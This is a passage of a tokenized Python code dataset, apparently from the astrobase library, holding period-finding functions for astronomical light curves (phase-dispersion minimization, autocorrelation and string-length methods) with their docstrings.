%<EOL>(frequencies.size,<EOL><NUM_LIT:1.0>/frequencies.max(),<EOL><NUM_LIT:1.0>/frequencies.min())<EOL>)<EOL><DEDENT><DEDENT>if (not nworkers) or (nworkers > NCPUS):<EOL><INDENT>nworkers = NCPUS<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % nworkers)<EOL><DEDENT><DEDENT>pool = Pool(nworkers)<EOL>if normalize:<EOL><INDENT>nmags = (smags - npmedian(smags))/npstd(smags)<EOL><DEDENT>else:<EOL><INDENT>nmags = smags<EOL><DEDENT>tasks = [(stimes, nmags, serrs, x, phasebinsize, mindetperbin)<EOL>for x in frequencies]<EOL>lsp = pool.map(_stellingwerf_pdm_worker, tasks)<EOL>pool.close()<EOL>pool.join()<EOL>del pool<EOL>lsp = nparray(lsp)<EOL>periods = <NUM_LIT:1.0>/frequencies<EOL>finitepeakind = npisfinite(lsp)<EOL>finlsp = lsp[finitepeakind]<EOL>finperiods = periods[finitepeakind]<EOL>try:<EOL><INDENT>bestperiodind = npargmin(finlsp)<EOL><DEDENT>except ValueError:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return {'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':normalize,<EOL>'<STR_LIT>':phasebinsize,<EOL>'<STR_LIT>':mindetperbin,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip}}<EOL><DEDENT>sortedlspind = npargsort(finlsp)<EOL>sortedlspperiods = finperiods[sortedlspind]<EOL>sortedlspvals = finlsp[sortedlspind]<EOL>nbestperiods, nbestlspvals, peakcount = (<EOL>[finperiods[bestperiodind]],<EOL>[finlsp[bestperiodind]],<EOL><NUM_LIT:1><EOL>)<EOL>prevperiod = sortedlspperiods[<NUM_LIT:0>]<EOL>for period, lspval in zip(sortedlspperiods, sortedlspvals):<EOL><INDENT>if peakcount == nbestpeaks:<EOL><INDENT>break<EOL><DEDENT>perioddiff = abs(period - prevperiod)<EOL>bestperiodsdiff = [abs(period - x) for x in nbestperiods]<EOL>if (perioddiff > (periodepsilon*prevperiod) and<EOL>all(x > (periodepsilon*period) for x in bestperiodsdiff)):<EOL><INDENT>nbestperiods.append(period)<EOL>nbestlspvals.append(lspval)<EOL>peakcount = peakcount + <NUM_LIT:1><EOL><DEDENT>prevperiod = period<EOL><DEDENT>return {'<STR_LIT>':finperiods[bestperiodind],<EOL>'<STR_LIT>':finlsp[bestperiodind],<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':nbestlspvals,<EOL>'<STR_LIT>':nbestperiods,<EOL>'<STR_LIT>':lsp,<EOL>'<STR_LIT>':periods,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':normalize,<EOL>'<STR_LIT>':phasebinsize,<EOL>'<STR_LIT>':mindetperbin,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip}}<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return {'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':normalize,<EOL>'<STR_LIT>':phasebinsize,<EOL>'<STR_LIT>':mindetperbin,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip}}<EOL><DEDENT>", "docstring": "This runs a parallelized Stellingwerf phase-dispersion minimization (PDM)\n    period search.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The mag/flux time-series with associated measurement errors to run the\n        period-finding on.\n\n    magsarefluxes : bool\n        If the input measurement values in `mags` and `errs` are in fluxes, set\n        this to True.\n\n    startp,endp : float or None\n        The minimum and maximum periods to consider for the transit search.\n\n    stepsize : float\n        The step-size in frequency to use when constructing a frequency grid for\n        the period search.\n\n    autofreq : bool\n        If this is True, the value of `stepsize` will be ignored and the\n        :py:func:`astrobase.periodbase.get_frequency_grid` function will be used\n        to generate a frequency grid based on `startp`, and `endp`. If these are\n        None as well, `startp` will be set to 0.1 and `endp` will be set to\n        `times.max() - times.min()`.\n\n    normalize : bool\n        This sets if the input time-series is normalized to 0.0 and rescaled\n        such that its variance = 1.0. This is the recommended procedure by\n        Schwarzenberg-Czerny 1996.\n\n    phasebinsize : float\n        The bin size in phase to use when calculating the PDM theta statistic at\n        a test frequency.\n\n    mindetperbin : int\n        The minimum number of elements in a phase bin to consider it valid when\n        calculating the PDM theta statistic at a test frequency.\n\n    nbestpeaks : int\n        The number of 'best' peaks to return from the periodogram results,\n        starting from the global maximum of the periodogram peak values.\n\n    periodepsilon : float\n        The fractional difference between successive values of 'best' periods\n        when sorting by periodogram power to consider them as separate periods\n        (as opposed to part of the same periodogram peak). This is used to avoid\n        broad peaks in the periodogram and make sure the 'best' periods returned\n        are all actually independent.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    nworkers : int\n        The number of parallel workers to use when calculating the periodogram.\n\n    verbose : bool\n        If this is True, will indicate progress and details about the frequency\n        grid used for the period search.\n\n    Returns\n    -------\n\n    dict\n        This function returns a dict, referred to as an `lspinfo` dict in other\n        astrobase functions that operate on periodogram results. This is a\n        standardized format across all astrobase period-finders, and is of the\n        form below::\n\n            {'bestperiod': the best period value in the periodogram,\n             'bestlspval': the periodogram peak associated with the best period,\n             'nbestpeaks': the input value of nbestpeaks,\n             'nbestlspvals': nbestpeaks-size list of best period peak values,\n             'nbestperiods': nbestpeaks-size list of best periods,\n             'lspvals': the full array of periodogram powers,\n             'periods': the full array of periods considered,\n             'method':'pdm' -> the name of the period-finder method,\n             'kwargs':{ dict of all of the input kwargs for record-keeping}}", "id": "f14761:m2"}
{"signature": "def analytic_false_alarm_probability(lspinfo,<EOL>times,<EOL>conservative_nfreq_eff=True,<EOL>peakvals=None,<EOL>inplace=True):", "body": "from scipy.stats import beta<EOL>frequencies = <NUM_LIT:1.0>/lspinfo['<STR_LIT>']<EOL>M = independent_freq_count(frequencies,<EOL>times,<EOL>conservative=conservative_nfreq_eff)<EOL>if peakvals is None:<EOL><INDENT>peakvals = lspinfo['<STR_LIT>']<EOL><DEDENT>nphasebins = nparange(<NUM_LIT:0.0>, <NUM_LIT:1.0>, lspinfo['<STR_LIT>']['<STR_LIT>']).size<EOL>ndet = times.size<EOL>false_alarm_probs = []<EOL>for peakval in peakvals:<EOL><INDENT>prob_xval = ((ndet-nphasebins)/(nphasebins-<NUM_LIT:1.0>))*peakval<EOL>prob_exceeds_val = beta.cdf(prob_xval,<EOL>(ndet-nphasebins)/<NUM_LIT>,<EOL>(nphasebins-<NUM_LIT:1.0>)/<NUM_LIT>)<EOL>import ipdb; ipdb.set_trace()<EOL>false_alarm_probs.append(<NUM_LIT:1.0> - (<NUM_LIT:1.0> - prob_exceeds_val)**M)<EOL><DEDENT>if inplace:<EOL><INDENT>lspinfo['<STR_LIT>'] = false_alarm_probs<EOL><DEDENT>return false_alarm_probs<EOL>", "docstring": "This returns the analytic false alarm probabilities for periodogram\n    peak values.\n\n    FIXME: this doesn't actually work. Fix later.\n\n    The calculation follows that on page 3 of Zechmeister & Kurster (2009)::\n\n        FAP = 1 \u2212 [1 \u2212 Prob(z > z0)]**M\n\n    where::\n\n        M is the number of independent frequencies\n        Prob(z > z0) is the probability of peak with value > z0\n        z0 is the peak value we're evaluating\n\n    For PDM, the Prob(z > z0) is described by the beta distribution, according\n    to:\n\n    - Schwarzenberg-Czerny (1997;\n      https://ui.adsabs.harvard.edu/#abs/1997ApJ...489..941S)\n\n    - Zalian, Chadid, and Stellingwerf (2013;\n      http://adsabs.harvard.edu/abs/2014MNRAS.440...68Z)\n\n    This is given by::\n\n        beta( (N-B)/2, (B-1)/2; ((N-B)/(B-1))*theta_pdm )\n\n    Where::\n\n        N = number of observations\n        B = number of phase bins\n\n    This translates to a scipy.stats call to the beta distribution CDF::\n\n        x = ((N-B)/(B-1))*theta_pdm_best\n        prob_exceeds_val = scipy.stats.beta.cdf(x, (N-B)/2.0, (B-1.0)/2.0)\n\n    Which we can then plug into the false alarm prob eqn above with the\n    calculation of M.\n\n    Parameters\n    ----------\n\n    lspinfo : dict\n        The dict returned by the\n        :py:func:`~astrobase.periodbase.spdm.stellingwerf_pdm` function.\n\n    times : np.array\n        The times for which the periodogram result in ``lspinfo`` was\n        calculated.\n\n    conservative_nfreq_eff : bool\n        If True, will follow the prescription given in Schwarzenberg-Czerny\n        (2003):\n\n        http://adsabs.harvard.edu/abs/2003ASPC..292..383S\n\n        and estimate the effective number of independent frequences M_eff as::\n\n            min(N_obs, N_freq, DELTA_f/delta_f)\n\n    peakvals : sequence or None\n        The peak values for which to evaluate the false-alarm probability. If\n        None, will calculate this for each of the peak values in the\n        ``nbestpeaks`` key of the ``lspinfo`` dict.\n\n    inplace : bool\n        If True, puts the results of the FAP calculation into the ``lspinfo``\n        dict as a list available as ``lspinfo['falsealarmprob']``.\n\n    Returns\n    -------\n\n    list\n        The calculated false alarm probabilities for each of the peak values in\n        ``peakvals``.", "id": "f14761:m3"}
{"signature": "def _smooth_acf(acf, windowfwhm=<NUM_LIT:7>, windowsize=<NUM_LIT>):", "body": "convkernel = Gaussian1DKernel(windowfwhm, x_size=windowsize)<EOL>smoothed = convolve(acf, convkernel, boundary='<STR_LIT>')<EOL>return smoothed<EOL>", "docstring": "This returns a smoothed version of the ACF.\n\n    Convolves the ACF with a Gaussian of given `windowsize` and `windowfwhm`.\n\n    Parameters\n    ----------\n\n    acf : np.array\n        The auto-correlation function array to smooth.\n\n    windowfwhm : int\n        The smoothing window Gaussian kernel's FWHM .\n\n    windowsize : int\n        The number of input points to apply the smoothing over.\n\n    Returns\n    -------\n\n    np.array\n        Smoothed version of the input ACF array.", "id": "f14762:m0"}
{"signature": "def _smooth_acf_savgol(acf, windowsize=<NUM_LIT>, polyorder=<NUM_LIT:2>):", "body": "smoothed = savgol_filter(acf, windowsize, polyorder)<EOL>return smoothed<EOL>", "docstring": "This returns a smoothed version of the ACF.\n\nThis version uses the Savitsky-Golay smoothing filter.\n\nParameters\n----------\n\nacf : np.array\n    The auto-correlation function array to smooth.\n\nwindowsize : int\n    The number of input points to apply the smoothing over.\n\npolyorder : int\n    The order of the polynomial to use in the Savitsky-Golay filter.\n\nReturns\n-------\n\nnp.array\n    Smoothed version of the input ACF array.", "id": "f14762:m1"}
{"signature": "def _get_acf_peakheights(lags, acf, npeaks=<NUM_LIT:20>, searchinterval=<NUM_LIT:1>):", "body": "maxinds = argrelmax(acf, order=searchinterval)[<NUM_LIT:0>]<EOL>maxacfs = acf[maxinds]<EOL>maxlags = lags[maxinds]<EOL>mininds = argrelmin(acf, order=searchinterval)[<NUM_LIT:0>]<EOL>minacfs = acf[mininds]<EOL>minlags = lags[mininds]<EOL>relpeakheights = npzeros(npeaks)<EOL>relpeaklags = npzeros(npeaks,dtype=npint64)<EOL>peakindices = npzeros(npeaks,dtype=npint64)<EOL>for peakind, mxi in enumerate(maxinds[:npeaks]):<EOL><INDENT>if npall(mxi < mininds):<EOL><INDENT>continue<EOL><DEDENT>leftminind = mininds[mininds < mxi][-<NUM_LIT:1>]  <EOL>rightminind = mininds[mininds > mxi][<NUM_LIT:0>]  <EOL>relpeakheights[peakind] = (<EOL>acf[mxi] - (acf[leftminind] + acf[rightminind])/<NUM_LIT><EOL>)<EOL>relpeaklags[peakind] = lags[mxi]<EOL>peakindices[peakind] = peakind<EOL><DEDENT>if relpeakheights[<NUM_LIT:0>] > relpeakheights[<NUM_LIT:1>]:<EOL><INDENT>bestlag = relpeaklags[<NUM_LIT:0>]<EOL>bestpeakheight = relpeakheights[<NUM_LIT:0>]<EOL>bestpeakindex = peakindices[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>bestlag = relpeaklags[<NUM_LIT:1>]<EOL>bestpeakheight = relpeakheights[<NUM_LIT:1>]<EOL>bestpeakindex = peakindices[<NUM_LIT:1>]<EOL><DEDENT>return {'<STR_LIT>':maxinds,<EOL>'<STR_LIT>':maxacfs,<EOL>'<STR_LIT>':maxlags,<EOL>'<STR_LIT>':mininds,<EOL>'<STR_LIT>':minacfs,<EOL>'<STR_LIT>':minlags,<EOL>'<STR_LIT>':relpeakheights,<EOL>'<STR_LIT>':relpeaklags,<EOL>'<STR_LIT>':peakindices,<EOL>'<STR_LIT>':bestlag,<EOL>'<STR_LIT>':bestpeakheight,<EOL>'<STR_LIT>':bestpeakindex}<EOL>", "docstring": "This calculates the relative peak heights for first npeaks in ACF.\n\n    Usually, the first peak or the second peak (if its peak height > first peak)\n    corresponds to the correct lag. When we know the correct lag, the period is\n    then::\n\n        bestperiod = time[lags == bestlag] - time[0]\n\n    Parameters\n    ----------\n\n    lags : np.array\n        An array of lags that the ACF is calculated at.\n\n    acf : np.array\n        The array containing the ACF values.\n\n    npeaks : int\n        THe maximum number of peaks to consider when finding peak heights.\n\n    searchinterval : int\n        From `scipy.signal.argrelmax`: \"How many points on each side to use for\n        the comparison to consider comparator(n, n+x) to be True.\" This\n        effectively sets how many points on each of the current peak will be\n        used to check if the current peak is the local maximum.\n\n    Returns\n    -------\n\n    dict\n        This returns a dict of the following form::\n\n            {'maxinds':the indices of the lag array where maxes are,\n             'maxacfs':the ACF values at each max,\n             'maxlags':the lag values at each max,\n             'mininds':the indices of the lag array where mins are,\n             'minacfs':the ACF values at each min,\n             'minlags':the lag values at each min,\n             'relpeakheights':the relative peak heights of each rel. ACF peak,\n             'relpeaklags':the lags at each rel. ACF peak found,\n             'peakindices':the indices of arrays where each rel. ACF peak is,\n             'bestlag':the lag value with the largest rel. ACF peak height,\n             'bestpeakheight':the largest rel. ACF peak height,\n             'bestpeakindex':the largest rel. ACF peak's number in all peaks}", "id": "f14762:m2"}
{"signature": "def plot_acf_results(acfp, outfile, maxlags=<NUM_LIT>, yrange=(-<NUM_LIT>,<NUM_LIT>)):", "body": "import matplotlib.pyplot as plt<EOL>lags = acfp['<STR_LIT>']['<STR_LIT>'][:maxlags]<EOL>smoothedacf = acfp['<STR_LIT>'][:maxlags]<EOL>unsmoothedacf = acfp['<STR_LIT>']['<STR_LIT>'][:maxlags]<EOL>acfparams = acfp['<STR_LIT>']['<STR_LIT>'].copy()<EOL>acfparams.update({'<STR_LIT>': int(acfp['<STR_LIT>']['<STR_LIT>']/<NUM_LIT>)})<EOL>fig, ax1 = plt.subplots()<EOL>ax1.plot(lags, unsmoothedacf, label='<STR_LIT>',color='<STR_LIT>')<EOL>ax1.plot(lags, smoothedacf, label='<STR_LIT>', color='<STR_LIT>')<EOL>ax1.set_xlim((<NUM_LIT:0>,maxlags))<EOL>ax1.set_xlabel('<STR_LIT>')<EOL>acfmaxinds = acfp['<STR_LIT>']['<STR_LIT>']<EOL>for i, maxind in enumerate(acfmaxinds):<EOL><INDENT>if i == <NUM_LIT:0>:<EOL><INDENT>ax1.axvline(maxind,<EOL>linewidth=<NUM_LIT>,<EOL>color='<STR_LIT>',<EOL>ymin=<NUM_LIT>, ymax=<NUM_LIT>,<EOL>label='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>ax1.axvline(maxind,<EOL>linewidth=<NUM_LIT>,<EOL>color='<STR_LIT>',<EOL>ymin=<NUM_LIT>, ymax=<NUM_LIT>)<EOL><DEDENT><DEDENT>plt.ylabel('<STR_LIT>')<EOL>plt.ylim(yrange)<EOL>ax1.legend()<EOL>plt.title('<STR_LIT:%s>' % repr(acfparams))<EOL>plt.tight_layout()<EOL>plt.savefig(outfile)<EOL>plt.close('<STR_LIT:all>')<EOL>return outfile<EOL>", "docstring": "This plots the unsmoothed/smoothed ACF vs lag.\n\nParameters\n----------\n\nacfp : dict\n    This is the dict returned from `macf_period_find` below.\n\noutfile : str\n    The output file the plot will be written to.\n\nmaxlags: int\n    The maximum number of lags to include in the plot.\n\nyrange : sequence of two floats\n    The y-range of the ACF vs. lag plot to use.", "id": "f14762:m3"}
{"signature": "def macf_period_find(<EOL>times,<EOL>mags,<EOL>errs,<EOL>fillgaps=<NUM_LIT:0.0>,<EOL>filterwindow=<NUM_LIT:11>,<EOL>forcetimebin=None,<EOL>maxlags=None,<EOL>maxacfpeaks=<NUM_LIT:10>,<EOL>smoothacf=<NUM_LIT>,  <EOL>smoothfunc=_smooth_acf_savgol,<EOL>smoothfunckwargs=None,<EOL>magsarefluxes=False,<EOL>sigclip=<NUM_LIT>,<EOL>verbose=True,<EOL>periodepsilon=<NUM_LIT:0.1>,  <EOL>nworkers=None,      <EOL>startp=None,        <EOL>endp=None,          <EOL>autofreq=None,      <EOL>stepsize=None,      <EOL>):", "body": "<EOL>acfres = autocorr_magseries(<EOL>times,<EOL>mags,<EOL>errs,<EOL>maxlags=maxlags,<EOL>fillgaps=fillgaps,<EOL>forcetimebin=forcetimebin,<EOL>sigclip=sigclip,<EOL>magsarefluxes=magsarefluxes,<EOL>filterwindow=filterwindow,<EOL>verbose=verbose<EOL>)<EOL>xlags = acfres['<STR_LIT>']<EOL>if smoothacf and isinstance(smoothacf, int) and smoothacf > <NUM_LIT:0>:<EOL><INDENT>if smoothfunckwargs is None:<EOL><INDENT>sfkwargs = {'<STR_LIT>':smoothacf}<EOL><DEDENT>else:<EOL><INDENT>sfkwargs = smoothfunckwargs.copy()<EOL>sfkwargs.update({'<STR_LIT>':smoothacf})<EOL><DEDENT>xacf = smoothfunc(acfres['<STR_LIT>'], **sfkwargs)<EOL><DEDENT>else:<EOL><INDENT>xacf = acfres['<STR_LIT>']<EOL><DEDENT>peakres = _get_acf_peakheights(xlags, xacf, npeaks=maxacfpeaks,<EOL>searchinterval=int(smoothacf/<NUM_LIT:2>))<EOL>bestlspval = peakres['<STR_LIT>']<EOL>try:<EOL><INDENT>fity = npconcatenate((<EOL>[<NUM_LIT:0.0>, peakres['<STR_LIT>']],<EOL>peakres['<STR_LIT>'][peakres['<STR_LIT>'] > peakres['<STR_LIT>']]<EOL>))<EOL>fity = fity*acfres['<STR_LIT>']<EOL>fitx = nparange(fity.size)<EOL>fitcoeffs, fitcovar = nppolyfit(fitx, fity, <NUM_LIT:1>, cov=True)<EOL>fitbestperiod = fitcoeffs[<NUM_LIT:0>]<EOL>bestperiodrms = npsqrt(fitcovar[<NUM_LIT:0>,<NUM_LIT:0>])  <EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>fitcoeffs = nparray([npnan, npnan])<EOL>fitcovar = nparray([[npnan, npnan], [npnan, npnan]])<EOL>fitbestperiod = npnan<EOL>bestperiodrms = npnan<EOL>raise<EOL><DEDENT>naivebestperiod = peakres['<STR_LIT>']*acfres['<STR_LIT>']<EOL>if fitbestperiod < naivebestperiod:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(fitbestperiod, naivebestperiod))<EOL><DEDENT>if npisfinite(fitbestperiod):<EOL><INDENT>bestperiod = fitbestperiod<EOL><DEDENT>else:<EOL><INDENT>bestperiod = naivebestperiod<EOL><DEDENT>return {'<STR_LIT>':bestperiod,<EOL>'<STR_LIT>':bestlspval,<EOL>'<STR_LIT>':maxacfpeaks,<EOL>'<STR_LIT>':npconcatenate([<EOL>[fitbestperiod],<EOL>peakres['<STR_LIT>'][<NUM_LIT:1>:maxacfpeaks]*acfres['<STR_LIT>']<EOL>]),<EOL>'<STR_LIT>':peakres['<STR_LIT>'][:maxacfpeaks],<EOL>'<STR_LIT>':xacf,<EOL>'<STR_LIT>':xlags*acfres['<STR_LIT>'],<EOL>'<STR_LIT>':xacf,<EOL>'<STR_LIT>':xlags,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':naivebestperiod,<EOL>'<STR_LIT>':fitbestperiod,<EOL>'<STR_LIT>':bestperiodrms,<EOL>'<STR_LIT>':fitcoeffs,<EOL>'<STR_LIT>':fitcovar,<EOL>'<STR_LIT>':{'<STR_LIT>':maxlags,<EOL>'<STR_LIT>':maxacfpeaks,<EOL>'<STR_LIT>':fillgaps,<EOL>'<STR_LIT>':filterwindow,<EOL>'<STR_LIT>':smoothacf,<EOL>'<STR_LIT>':sfkwargs,<EOL>'<STR_LIT>':magsarefluxes,<EOL>'<STR_LIT>':sigclip},<EOL>'<STR_LIT>':acfres,<EOL>'<STR_LIT>':peakres}<EOL>", "docstring": "This finds periods using the McQuillan+ (2013a, 2014) ACF method.\n\n    The kwargs from `periodepsilon` to `stepsize` don't do anything but are used\n    to present a consistent API for all periodbase period-finders to an outside\n    driver (e.g. the one in the checkplotserver).\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The input magnitude/flux time-series to run the period-finding for.\n\n    fillgaps : 'noiselevel' or float\n        This sets what to use to fill in gaps in the time series. If this is\n        'noiselevel', will smooth the light curve using a point window size of\n        `filterwindow` (this should be an odd integer), subtract the smoothed LC\n        from the actual LC and estimate the RMS. This RMS will be used to fill\n        in the gaps. Other useful values here are 0.0, and npnan.\n\n    filterwindow : int\n        The light curve's smoothing filter window size to use if\n        `fillgaps='noiselevel`'.\n\n    forcetimebin : None or float\n        This is used to force a particular cadence in the light curve other than\n        the automatically determined cadence. This effectively rebins the light\n        curve to this cadence. This should be in the same time units as `times`.\n\n    maxlags : None or int\n        This is the maximum number of lags to calculate. If None, will calculate\n        all lags.\n\n    maxacfpeaks : int\n        This is the maximum number of ACF peaks to use when finding the highest\n        peak and obtaining a fit period.\n\n    smoothacf : int\n        This is the number of points to use as the window size when smoothing\n        the ACF with the `smoothfunc`. This should be an odd integer value. If\n        this is None, will not smooth the ACF, but this will probably lead to\n        finding spurious peaks in a generally noisy ACF.\n\n        For Kepler, a value between 21 and 51 seems to work fine. For ground\n        based data, much larger values may be necessary: between 1001 and 2001\n        seem to work best for the HAT surveys. This is dependent on cadence, RMS\n        of the light curve, the periods of the objects you're looking for, and\n        finally, any correlated noise in the light curve. Make a plot of the\n        smoothed/unsmoothed ACF vs. lag using the result dict of this function\n        and the `plot_acf_results` function above to see the identified ACF\n        peaks and what kind of smoothing might be needed.\n\n        The value of `smoothacf` will also be used to figure out the interval to\n        use when searching for local peaks in the ACF: this interval is 1/2 of\n        the `smoothacf` value.\n\n    smoothfunc : Python function\n        This is the function that will be used to smooth the ACF. This should\n        take at least one kwarg: 'windowsize'. Other kwargs can be passed in\n        using a dict provided in `smoothfunckwargs`. By default, this uses a\n        Savitsky-Golay filter, a Gaussian filter is also provided but not\n        used. Another good option would be an actual low-pass filter (generated\n        using scipy.signal?) to remove all high frequency noise from the ACF.\n\n    smoothfunckwargs : dict or None\n        The dict of optional kwargs to pass in to the `smoothfunc`.\n\n    magsarefluxes : bool\n        If your input measurements in `mags` are actually fluxes instead of\n        mags, set this is True.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    verbose : bool\n        If True, will indicate progress and report errors.\n\n    Returns\n    -------\n\n    dict\n        Returns a dict with results. dict['bestperiod'] is the estimated best\n        period and dict['fitperiodrms'] is its estimated error. Other\n        interesting things in the output include:\n\n        - dict['acfresults']: all results from calculating the ACF. in\n          particular, the unsmoothed ACF might be of interest:\n          dict['acfresults']['acf'] and dict['acfresults']['lags'].\n\n        - dict['lags'] and dict['acf'] contain the ACF after smoothing was\n          applied.\n\n        - dict['periods'] and dict['lspvals'] can be used to construct a\n          pseudo-periodogram.\n\n        - dict['naivebestperiod'] is obtained by multiplying the lag at the\n          highest ACF peak with the cadence. This is usually close to the fit\n          period (dict['fitbestperiod']), which is calculated by doing a fit to\n          the lags vs. peak index relation as in McQuillan+ 2014.", "id": "f14762:m4"}
{"signature": "def get_frequency_grid(times,<EOL>samplesperpeak=<NUM_LIT:5>,<EOL>nyquistfactor=<NUM_LIT:5>,<EOL>minfreq=None,<EOL>maxfreq=None,<EOL>returnf0dfnf=False):", "body": "baseline = times.max() - times.min()<EOL>nsamples = times.size<EOL>df = <NUM_LIT:1.> / baseline / samplesperpeak<EOL>if minfreq is not None:<EOL><INDENT>f0 = minfreq<EOL><DEDENT>else:<EOL><INDENT>f0 = <NUM_LIT:0.5> * df<EOL><DEDENT>if maxfreq is not None:<EOL><INDENT>Nf = int(npceil((maxfreq - f0) / df))<EOL><DEDENT>else:<EOL><INDENT>Nf = int(<NUM_LIT:0.5> * samplesperpeak * nyquistfactor * nsamples)<EOL><DEDENT>if returnf0dfnf:<EOL><INDENT>return f0, df, Nf, f0 + df * nparange(Nf)<EOL><DEDENT>else:<EOL><INDENT>return f0 + df * nparange(Nf)<EOL><DEDENT>", "docstring": "This calculates a frequency grid for the period finding functions in this\n    module.\n\n    Based on the autofrequency function in astropy.stats.lombscargle.\n\n    http://docs.astropy.org/en/stable/_modules/astropy/stats/lombscargle/core.html#LombScargle.autofrequency", "id": "f14763:m0"}
{"signature": "def dworetsky_period_find(time,<EOL>mag,<EOL>err,<EOL>init_p,<EOL>end_p,<EOL>f_step,<EOL>verbose=False):", "body": "mod_mag = (mag - npmin(mag))/(<NUM_LIT>*(npmax(mag) - npmin(mag))) - <NUM_LIT><EOL>fold_time = npmin(time) <EOL>init_f = <NUM_LIT:1.0>/end_p<EOL>end_f = <NUM_LIT:1.0>/init_p<EOL>n_freqs = npceil((end_f - init_f)/f_step)<EOL>if verbose:<EOL><INDENT>print('<STR_LIT>' %<EOL>(n_freqs,init_f,end_f))<EOL><DEDENT>out_periods = npempty(n_freqs,dtype=np.float64)<EOL>out_strlens = npempty(n_freqs,dtype=np.float64)<EOL>p_goodflags = npempty(n_freqs,dtype=bool)<EOL>j_range = len(mag)-<NUM_LIT:1><EOL>for i in range(int(n_freqs)):<EOL><INDENT>period = <NUM_LIT:1.0>/init_f<EOL>phase = (time - fold_time)/period - npfloor((time - fold_time)/period)<EOL>phase_sort_ind = npargsort(phase)<EOL>phase_sorted = phase[phase_sort_ind]<EOL>mod_mag_sorted = mod_mag[phase_sort_ind]<EOL>strlen = <NUM_LIT:0.0><EOL>epsilon = <NUM_LIT> * npmean(err)<EOL>delta_l = <NUM_LIT> * (epsilon - <NUM_LIT:0.5>*(epsilon**<NUM_LIT:2>)) * (len(time) -<EOL>npsqrt(<NUM_LIT>/epsilon))<EOL>keep_threshold_1 = <NUM_LIT> + <NUM_LIT>*delta_l<EOL>l = <NUM_LIT>*len(time)<EOL>sig_l = len(time)/<NUM_LIT><EOL>keep_threshold_2 = l + <NUM_LIT>*sig_l<EOL>for j in range(j_range):<EOL><INDENT>strlen += npsqrt( (mod_mag_sorted[j+<NUM_LIT:1>] - mod_mag_sorted[j])**<NUM_LIT:2> +<EOL>(phase_sorted[j+<NUM_LIT:1>] - phase_sorted[j])**<NUM_LIT:2> )<EOL><DEDENT>strlen += npsqrt( (mod_mag_sorted[<NUM_LIT:0>] - mod_mag_sorted[-<NUM_LIT:1>])**<NUM_LIT:2> +<EOL>(phase_sorted[<NUM_LIT:0>] - phase_sorted[-<NUM_LIT:1>] + <NUM_LIT:1>)**<NUM_LIT:2> )<EOL>if ((strlen < keep_threshold_1) or (strlen < keep_threshold_2)):<EOL><INDENT>p_goodflags[i] = True<EOL><DEDENT>out_periods[i] = period<EOL>out_strlens[i] = strlen<EOL>init_f += f_step<EOL><DEDENT>return (out_periods,out_strlens,p_goodflags)<EOL>", "docstring": "This is the super-slow naive version taken from my thesis 